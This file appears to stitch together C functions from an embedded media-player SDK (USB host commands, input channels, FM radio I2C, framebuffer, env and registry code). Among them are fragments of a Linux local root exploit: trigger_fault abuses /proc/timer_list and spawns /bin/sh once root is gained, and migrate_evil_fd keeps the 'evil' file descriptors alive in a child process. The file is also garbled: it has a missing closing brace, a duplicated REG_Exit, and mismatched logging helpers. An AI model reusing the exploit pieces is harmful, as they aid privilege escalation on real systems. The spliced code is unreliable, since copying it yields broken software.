/*
****************************************************************************************************
*Name : dsk_send_insmod_usbh_cmd
*Prototype : __s32 dsk_send_insmod_usbh_cmd(void)
*Arguments : void
*Return : EPDK_OK 发送成功
* EPDK_FAIL 发送失败
*Description : 向usbh_monitor发送加载host驱动命令
*Other : 命令发送完毕后，delay 2s 确保加载成功
****************************************************************************************************
*/
__s32 dsk_send_insmod_usbh_cmd(void)
{
ES_FILE *usbm_dev_hadle = NULL;
__s32 ret = 0;
__msg("%s %d :send_insmod_usbh_cmd \n", __FUNCTION__, __LINE__);
/* 打开 hwsc 设备 */
usbm_dev_hadle = eLIBs_fopen("b:\\HWSC\\hwsc", "r");
if(usbm_dev_hadle == NULL){
__wrn("ERR: send_insmod_usbh_cmd: eLIBs_fopen failed\n");
return EPDK_FAIL;
}
/* 发送加载host命令 */
ret = eLIBs_fioctrl(usbm_dev_hadle, DEV_IOC_USR_HWSC_APP_INSMOD_USBH, 0, NULL);
if(ret == EPDK_FAIL){
__msg("ERR: send_insmod_usbh_cmd: execute DEV_IOC_USR_HWSC_APP_INSMOD_USBH failed\n");
eLIBs_fclose(usbm_dev_hadle);
usbm_dev_hadle = NULL;
return EPDK_FAIL;
}
/* 关闭 hwsc 设备 */
eLIBs_fclose(usbm_dev_hadle);
usbm_dev_hadle = NULL;
/*wait to install host driver less than 2 second*/
esKRNL_TimeDly(400);
return EPDK_OK;
}
/*
****************************************************************************************************
*Name : dsk_send_rmmod_usbh_cmd
*Prototype : __s32 dsk_send_rmmod_usbh_cmd(void)
*Arguments : void
*Return : EPDK_OK 发送成功
* EPDK_FAIL 发送失败
*Description : 向usbh_monitor发送卸载host驱动命令
*Other : 命令发送完毕后，delay 1s 确保卸载成功
****************************************************************************************************
*/
__s32 dsk_send_rmmod_usbh_cmd(void)
{
ES_FILE *usbm_dev_hadle = NULL;
__s32 ret = 0;
__msg("%s %d :send_rmmod_usbh_cmd \n", __FUNCTION__, __LINE__);
/* 打开 hwsc 设备 */
usbm_dev_hadle = eLIBs_fopen("b:\\HWSC\\hwsc", "r");
if(usbm_dev_hadle == NULL){
__wrn("ERR: send_rmmod_usbh_cmd: eLIBs_fopen failed\n");
return EPDK_FAIL;
}
/* 发送加载host命令 */
ret = eLIBs_fioctrl(usbm_dev_hadle, DEV_IOC_USR_HWSC_APP_RMMOD_USBH, 0, NULL);
if(ret == EPDK_FAIL){
__msg("ERR: send_rmmod_usbh_cmd: execute DEV_IOC_USR_HWSC_APP_RMMOD_USBH failed\n");
eLIBs_fclose(usbm_dev_hadle);
usbm_dev_hadle = NULL;
return EPDK_FAIL;
}
/* 关闭 hwsc 设备 */
eLIBs_fclose(usbm_dev_hadle);
usbm_dev_hadle = NULL;
/* delay 1s 确保usb_monitor有足够的时间卸载 */
esKRNL_TimeDly(400);
return EPDK_OK;
}
__s32 msg_srv_init_key_channel(__memit_ctr_t *emit)
{
__s32 LdevID;
/* grab logical keyboard, binding event callback to input_subsystem */
emit_ctr.h_keyGraber = esINPUT_LdevGrab(INPUT_LKEYBOARD_DEV_NAME, (__pCBK_t)key_msg_cb, 0, 0);
if (emit_ctr.h_keyGraber == NULL)
{
__msg("grab logical keyboard failed\n");
return EPDK_FAIL;
}
__msg("emit_ctr.h_keyGraber=%d\n", emit_ctr.h_keyGraber);
//get logical key device id
LdevID = esINPUT_GetLdevID(emit_ctr.h_keyGraber);
if (LdevID == -1)
{
//eLIBs_printf("get logical id failed\n");
return EPDK_FAIL;
}
__msg("LdevID=%d\n", LdevID);
//设置时间间隔单位为1ms，
if (esINPUT_LdevCtl(LdevID, INPUT_SET_REP_PERIOD, 400, NULL) != EPDK_OK)
{
//eLIBs_printf("logical device ioctl failed\n");
return EPDK_FAIL;
}
__here__;
return EPDK_OK;
}
__s32 dsk_radio_send_open(void)
{
__s32 result = 0;
if(h_radio == NULL)
{
__msg("radio not open!\n");
return EPDK_FAIL;
}
if(dsk_radio_send)
{
return EPDK_OK;
}
dsk_radio_send = (dsk_radio_send_t *)esMEMS_Malloc(0,sizeof(dsk_radio_send_t));
if(dsk_radio_send == NULL)
{
__msg("dsk_radio_send malloc error!\n");
return EPDK_FAIL;
}
eLIBs_memset(dsk_radio_send,0,sizeof(dsk_radio_send_t));
//h_radio->fm_drv = fm_drv;
result = eLIBs_fioctrl(h_radio->fm_drv , DRV_FM_CMD_SEND_INIT, 0, 0);
if(result == -1)
{
return EPDK_FAIL;
}
return EPDK_OK;
}
static void trigger_fault()
{
char *argv[]= {"/bin/sh", NULL};
int fd,i;
fd = open("/proc/timer_list", O_RDONLY);
if(fd >= 0)
{
ioctl(fd, 0, 0);
__free_stuff();
migrate_evil_fd();
for(i=0; i<4; i++)
close(unsafe_fd[i]);
if(!getuid())
{
__msg("[**] Got root!\n");
execve("/bin/sh", argv, NULL);
}
}
else
{
__msg("[**] Cannot open /proc/timer_list");
__free_stuff();
}
}
__s32 RockerKeyDevInit(void)
{
/* 分配电源键输入设备句柄，并向输入子系统注册.*/
__s32 i;
__u32 KeyCodeNum;
__input_dev_t * p_input_dev = NULL;
p_input_dev = (__input_dev_t *)eLIBs_malloc(sizeof(__input_dev_t));
if (p_input_dev == NULL)
{
__msg("not enough memory for INPUT physical device handle\n");
return EPDK_FAIL;
}
eLIBs_memset(p_input_dev, 0, sizeof(__input_dev_t));
__here__;
/* 用于向设备管理系统注册一个管理设备节点 */
p_input_dev->classname = INPUT_CLASS_NAME;
p_input_dev->name = "RockerKey";
p_input_dev->ops = &rocker_dev_ops;
p_input_dev->parg = NULL;
p_input_dev->id.product = 0x0001;
p_input_dev->id.version = 0x0001;
/* 属于按键类设备 */
p_input_dev->device_class = INPUT_KEYBOARD_CLASS;
__here__;
p_input_dev->evbit[0] = BIT_MASK(EV_KEY) | BIT_MASK(EV_REP);
/* 设置ADC设备支持的按键事件 */
KeyCodeNum = sizeof(RockerKeyDevCodes) / sizeof(RockerKeyDevCodes[0]);
for (i = 0; i < KeyCodeNum; i++)
{
__set_bit(RockerKeyDevCodes[i], p_input_dev->keybit);
}
/* 设备电源键设备的事件反馈回掉函数为NULL,不支持事件的回馈 */
p_input_dev->event = NULL;
__here__;
/* 向输入子系统注册电源键输入设备 */
if (esINPUT_RegDev(p_input_dev) != EPDK_OK)
{
__msg("register powerkey device to INPUT system failed\n");
eLIBs_free(p_input_dev);
return EPDK_FAIL;
}
rocker_drv.p_input_dev = p_input_dev;
__msg("PowerKey device initialize succeeded\n");
return EPDK_OK;
}
static int Fb_pan_display(struct fb_var_screeninfo *var,struct fb_info *info)
{
__s32 hdl = g_fbi.layer_hdl[info->node];
__u32 sel = g_fbi.fb_screen_id[info->node];
__disp_layer_info_t layer_para;
__msg("Fb_pan_display\n");
BSP_disp_layer_get_para(sel, hdl, &layer_para);
if(layer_para.mode == DISP_LAYER_WORK_MODE_SCALER)
{
layer_para.src_win.x = var->xoffset;
layer_para.src_win.y = var->yoffset;
layer_para.src_win.width = var->xres;
layer_para.src_win.height = var->yres;
}
else
{
layer_para.src_win.x = var->xoffset;
layer_para.src_win.y = var->yoffset;
layer_para.src_win.width = var->xres;
layer_para.src_win.height = var->yres;
layer_para.scn_win.width = var->xres;
layer_para.scn_win.height = var->yres;
}
BSP_disp_layer_set_para(sel, hdl, &layer_para);
return 0;
}
void msg(const char *msg, ...)
{
va_list args;
va_start(args, msg);
__msg(stdout, msg, args);
va_end(args);
}
static void msg_err(const char *msg, ...)
{
va_list args;
va_start(args, msg);
__msg(stderr, msg, args);
va_end(args);
}
int disp_suspend(struct platform_device *pdev, pm_message_t state)
{
int i = 0;
__msg("disp_suspend call\n");
for(i=0; i<2; i++)
{
output_type[i] = BSP_disp_get_output_type(i);
if(output_type[i] == DISP_OUTPUT_TYPE_LCD)
{
DRV_lcd_close(i);
}
else if(output_type[i] == DISP_OUTPUT_TYPE_TV)
{
BSP_disp_tv_close(i);
}
else if(output_type[i] == DISP_OUTPUT_TYPE_VGA)
{
BSP_disp_vga_close(i);
}
else if(output_type[i] == DISP_OUTPUT_TYPE_HDMI)
{
BSP_disp_hdmi_close(i);
}
}
BSP_disp_clk_off();
return 0;
}
int disp_resume(struct platform_device *pdev)
{
int i = 0;
__msg("disp_resume call\n");
BSP_disp_clk_on();
for(i=0; i<2; i++)
{
if(output_type[i] == DISP_OUTPUT_TYPE_LCD)
{
DRV_lcd_open(i);
}
else if(output_type[i] == DISP_OUTPUT_TYPE_TV)
{
BSP_disp_tv_open(i);
}
else if(output_type[i] == DISP_OUTPUT_TYPE_VGA)
{
BSP_disp_vga_open(i);
}
else if(output_type[i] == DISP_OUTPUT_TYPE_HDMI)
{
BSP_disp_hdmi_open(i);
}
}
return 0;
}
//定时检测pw-off口
static void power_on_timmer_proc(void* arg)
{
static __s32 pw_off_hight_cnt = 0;
__s32 d1;
d1 = esPINS_ReadPinData(g_pw_on_pin, 0);
__msg("d1=%d\n", d1);
if(d1)
{
pw_off_hight_cnt++;
}
else
{
pw_off_hight_cnt = 0;
}
if(pw_off_hight_cnt > g_pw_on_period/g_pw_on_check_period)
{
if (esKRNL_TmrStateGet(g_pw_on_timer_hdl) == OS_TMR_STATE_RUNNING)
{
esKRNL_TmrStop(g_pw_on_timer_hdl, OS_TMR_OPT_NONE, NULL);
}
esPINS_PinGrpRel(g_pw_on_pin, 0);
power_on_proc();
}
}
__bool OperationRDAFM_2w(__u8 addr,__u8 rw, __u8 *data,__s32 n_byte)
{
__twi_dev_para_ex_t piic; //要写入TEA5767的数据
__s32 ret;
//__u8 addr = 0xff;
eLIBs_memset(&piic, 0, sizeof(__twi_dev_para_ex_t));
// return 1;
if(rw == 1)
{
piic.slave_addr_flag = TWI_SLAVE_ADDRESS_07BIT;
piic.slave_addr = (0x21>>1);
piic.byte_addr_width = 0;
piic.byte_addr = &addr;
piic.data = data;
piic.byte_count = n_byte;
ret = eLIBs_fioctrl(fiic, TWI_READ_SPEC_RS, 0, (void *)&piic);
if(ret != EPDK_OK)
{
__msg("fm i2c read error~\n");
}
return ret;
}
static void migrate_evil_fd()
{
int i;
pid_t child;
__msg("[**] Migrate evil unsafe fds to child process..\n");
child = fork();
if(!child)
{
/* preserve evil fds */
setsid();
if(!cankill) /* cant die .. */
while(1)
sleep(1);
else
{
sleep(10); /* wait execve() before */
for(i=0; i<4; i++)
close(unsafe_fd[i]);
exit(1);
}
}
else
{
if(!cankill)
__msg_f("[**] Child process %d _MUST_ NOT die ... keep it alive:)\n", child);
}
}
/*
************************************************************************************************************
*
* function
*
* 函数名称：
*
* 参数列表：
*
* 返回值 ：
*
* 说明 ：
*
*
************************************************************************************************************
*/
char *env_read(char *env_buf, const char *str)
{
char *buf;
int crc, length;
int env_len, str_len;
int one_env_len;
//获取原来的数据
buf = (char *)env_buf;
//获取env数据的有效长度
env_len = env_length_get(buf);
//校验crc
crc = calc_crc32((void *)(buf + 4), ENV_SIZE - 4);
if(crc != *(int *)buf)
{
__msg("*********************crc error*********************\n");
return 0;
}
str_len = strlen(str);
buf += 4;
length = 4;
//依次比较字符串
while(length < env_len)
{
one_env_len = strlen(buf);
if(!strncmp(buf, str, str_len))
{
return buf;
}
length += one_env_len + 1;
buf += one_env_len + 1;
}
return 0;
}
__s32 Display_Fb_Release(__u32 sel, __s32 hdl)
{
__s32 fb_id = layer_hdl_to_fb_id(sel, hdl);
__msg("Display_Fb_Release call\n");
if(fb_id >= 0)
{
fb_info_t * fbi = &g_fbi;
struct fb_info *fbinfo = fbi->fbinfo[fb_id];
BSP_disp_layer_release(sel, hdl);
unregister_framebuffer(fbinfo);
Fb_unmap_video_memory(fbinfo);
framebuffer_release(fbinfo);
fbi->fb_screen_id[fbinfo->node] = -1;
fbi->layer_hdl[fb_id] = 0;
fbi->fbinfo[fb_id] = NULL;
fbi->fb_num--;
return DIS_SUCCESS;
}
else
{
__wrn("invalid paras (sel:%d,hdl:%d) in Display_Fb_Release\n", sel, hdl);
return DIS_FAIL;
}
}
static int Fb_setcmap(struct fb_cmap *cmap, struct fb_info *info)
{
unsigned int i = 0, val = 0;
unsigned char hred, hgreen, hblue, htransp = 0xff;
unsigned short *red, *green, *blue, *transp;
__u32 sel = g_fbi.fb_screen_id[info->node];
__msg("Fb_setcmap\n");
red = cmap->red;
green = cmap->green;
blue = cmap->blue;
transp = cmap->transp;
for (i = 0; i < cmap->len; i++)
{
hred = (*red++)&0xff;
hgreen = (*green++)&0xff;
hblue = (*blue++)&0xff;
if (transp)
{
htransp = (*transp++)&0xff;
}
else
{
htransp = 0xff;
}
val = (htransp<<24) | (hred<<16) | (hgreen<<8) |hblue;
BSP_disp_set_palette_table(sel, &val, (cmap->start + i) * 4, 4);
}
return 0;
}
static void die(const char *msg, ...)
{
va_list args;
va_start(args, msg);
__msg(stderr, msg, args);
va_end(args);
exit(1);
}
int env_write(char *env_buf, char *databuf, const char *str)
{
char *buf, *buf_next;
int i;
int crc, length;
int env_len, str_len;
int one_env_len;
//获取原来的数据
buf = (char *)env_buf + 4;
//获取env数据的有效长度
env_len = env_length_get(env_buf);
//校验crc
crc = calc_crc32((void *)buf, ENV_SIZE - 4);
if(crc != *(int *)env_buf)
{
__msg("*********************crc error*********************\n");
return -1;
}
str_len = strlen(str);
length = 4;
//依次比较字符串
while(length < env_len)
{
one_env_len = strlen(buf);//得到目的env中一个环境变量的长度
if(!strncmp(buf, str, str_len)) //再比较环境变量"="左边的值是否和传入的str相等
{
if(buf[str_len] == '=') // 再比较"="是否存在
{
//找到原有的环境变量
buf_next = buf + one_env_len + 1; //定位到目的ENV中下一个环境变量的地址。
//清除原有的环境变量
for(i=0;i<env_len - length - one_env_len;i++)
{
buf[i] = buf_next[i]; //把后面的环境变量向前移动，覆盖前面一个变量。
}
buf += i;
for(i=0;i<one_env_len;i++)
{
buf[i] = 0; //移完之后，把整个环境变量最后面的部分清空
}
break;
}
}
length += one_env_len + 1;
buf += one_env_len + 1;
}
buf = (char *)env_buf + 4;
env_len = env_length_get(buf);
strcpy(buf + env_len + 1, databuf); //把老的环境添加到变量放到新环境变量之后。
//重新计算环境变量crc
crc = calc_crc32((void *)buf, ENV_SIZE - 4);
*(int *)env_buf = crc;
return 0;
}
int32 REG_Init( void )
{
if( __reg_init( ) != REG_OK )
return REG_ERR;
__msg("Succeed in initialising part of register.\n");
#ifdef ENABLE_THREAD
tid0 = esKRNL_TCreate( RefreshAllNode, NULL, 0x2000, (EPOS_curid << 8) | REFRESH_ALL_NODE_THREAD_PRIO );
__msg("Succeed in creating thread \"refresh\".\n");
tid1 = esKRNL_TCreate( BackupAllNode, NULL, 0x2000, (EPOS_curid << 8) | BACKUP_ALL_NODE_THREAD_PRIO );
__msg("Succeed in creating thread \"backup\".\n");
#else
__backup_all_reg_file( );
__msg("has backup all reg files.\n");
#endif // #ifdef ENABLE_THREAD
__msg("Succeed in initialising all register.\n");
return REG_OK;
}
/**
* 初始化 touch panel 消息传输通道
*/
__s32 msg_srv_init_tp_channel(__memit_ctr_t *emit)
{
/* 创建 desktop_msg_queue */
emit->sys_msg_counter = 0;
emit->psys_msg_queue = esKRNL_QCreate(SYS_MSGQ_SIZE);
if(!emit->psys_msg_queue)
{
__err(" create sys_msg_queue error \n");
return EPDK_FAIL;
}
/* 创建 p_array_sem */
emit->p_array_sem = esKRNL_SemCreate(1);
if( !emit->p_array_sem )
{
__err(" create p_array_sem error \n");
return EPDK_FAIL;
}
emit->p_hook_sem = esKRNL_SemCreate(1);
if( !emit->p_hook_sem )
{
__err(" create p_hook_sem error \n");
return EPDK_FAIL;
}
/* 装载 touchpanel 驱动 */
/* 注册回调函数 tp_msg_cb */
/*{
ES_FILE *p_tpfile;
p_tpfile = eLIBs_fopen("b:\\HID\\TP", "r+");
if( !p_tpfile )
{
__err(" open touchpanel driver error \n");
return EPDK_FAIL;
}
eLIBs_fioctrl(p_tpfile, DRV_TP_CMD_REG, 0, (void *)tp_msg_cb);
eLIBs_fclose(p_tpfile);
}*/
{
/* grab logical keyboard, binding event callback to input_subsystem */
emit_ctr.h_tpGraber = esINPUT_LdevGrab(INPUT_LTS_DEV_NAME, (__pCBK_t)tp_msg_cb, 0, 0);
if (emit_ctr.h_tpGraber == NULL)
{
__msg("grab logical touchpannel failed\n");
return EPDK_FAIL;
}
}
return EPDK_OK;
}
int32 REG_Exit( void )
{
#ifdef ENABLE_THREAD
if( backup_hdl != NULL )
CloseHandle( backup_hdl );
if( refresh_hdl != NULL )
CloseHandle( refresh_hdl );
#else
__msg("ready to refresh all reg files.\n");
__refresh_all_reg_file( );
__msg("has refreshed all reg files.\n");
#endif // #ifdef ENABLE_THREAD
#ifdef REG_LOG
g_close( log_fp );
log_fp = NULL;
#endif // #ifdef REG_LOG
return __reg_exit( );
}
static void __exit disp_module_exit(void)
{
__msg("disp_module_exit\n");
DRV_DISP_Exit();
platform_driver_unregister(&disp_driver);
platform_device_unregister(&disp_device);
device_destroy(disp_class, devid);
class_destroy(disp_class);
cdev_del(my_cdev);
}
__s32 bookengine_open(void)
{
/*already open*/
if (bookengine_mod)
return 0;
if (NULL == bookengine_mid)
{
/* install bookengine module */
bookengine_mid = esMODS_MInstall(BEETLES_APP_ROOT"mod\\bookengine.mod", 0);
if(!bookengine_mid)
{
__msg("Install bookengine module failed");
return -1;
}
__msg("install bookengine OK\n");
}
if (NULL == bookengine_mod)
{
/* open bookengine module */
bookengine_mod = esMODS_MOpen(bookengine_mid, 0);
if(bookengine_mod == (__mp *)0)
{
if (bookengine_mid)
{
esMODS_MUninstall(bookengine_mid);
bookengine_mid = 0;
}
__msg("esMODS_MOpen failed");
return -1;
}
__msg("bookengine module open OK\n");
}
return 0;
}
int32 REG_Exit( void )
{
#ifdef ENABLE_THREAD
while( esKRNL_TDelReq(tid1) != OS_TASK_NOT_EXIST )
esKRNL_TimeDly(100);
while( esKRNL_TDelReq(tid0) != OS_TASK_NOT_EXIST )
esKRNL_TimeDly(100);
#else
__refresh_all_reg_file( );
__msg("has refreshed all reg files.\n");
#endif // #ifdef ENABLE_THREAD
return __reg_exit( );
}
__mp *INIT_MOpen(__u32 mid, __u32 mod)
{
__msg("----------------------INIT_MOpen --------------------------\n");
init_data.mid = mid;
init_data.init_tid = esKRNL_TCreate(application_init_process, NULL, 0x10000, KRNL_priolevel4);
if( init_data.init_tid == 0 )
{
__err(" application_init_process main thread create error\n");
return NULL;
}
return (__mp *)&init_data;
}
//UINT
DWORD WINAPI BackupAllNode( LPVOID pParam )
{
uint32 i = 0;
while( 1 )
{
g_delay( BACKUP_ALL_NODE_DELAY_TIME );
i++;
__msg("\n\n\n\nThread BackupAllNode has been executed %d times.\n", i);
if( __backup_all_reg_file( ) != REG_OK )
return REG_ERR;
}
return REG_OK;
}
__s32 dsk_radio_send_close(void)
{
__s32 result = 0;
if(dsk_radio_send == NULL)
{
__msg("radio send not open!\n");
return EPDK_FAIL;
}
result = eLIBs_fioctrl(h_radio->fm_drv, DRV_FM_CMD_SEND_EXIT, 0, 0);
esMEMS_Mfree(0,dsk_radio_send);
dsk_radio_send = NULL;
return result;
}
//UINT
DWORD WINAPI RefreshAllNode( LPVOID pParam )
{
uint32 i = 0;
while( 1 )
{
g_delay( REFRESH_ALL_NODE_DELAY_TIME );
i++;
__msg("\n\n\n\nThread RefreshAllNode has been executed %d times.\n", i);
if( __refresh_all_reg_file( ) != REG_OK )
return REG_ERR;
}
return REG_OK;
}
int Fb_blank(int blank_mode, struct fb_info *info)
{
__u32 sel = g_fbi.fb_screen_id[info->node];
__s32 hdl = g_fbi.layer_hdl[info->node];
__msg("Fb_blank,mode:%d\n",blank_mode);
if (blank_mode == FB_BLANK_POWERDOWN)
{
BSP_disp_layer_close(sel, hdl);
}
else
{
BSP_disp_layer_open(sel, hdl);
}
return 0;
}
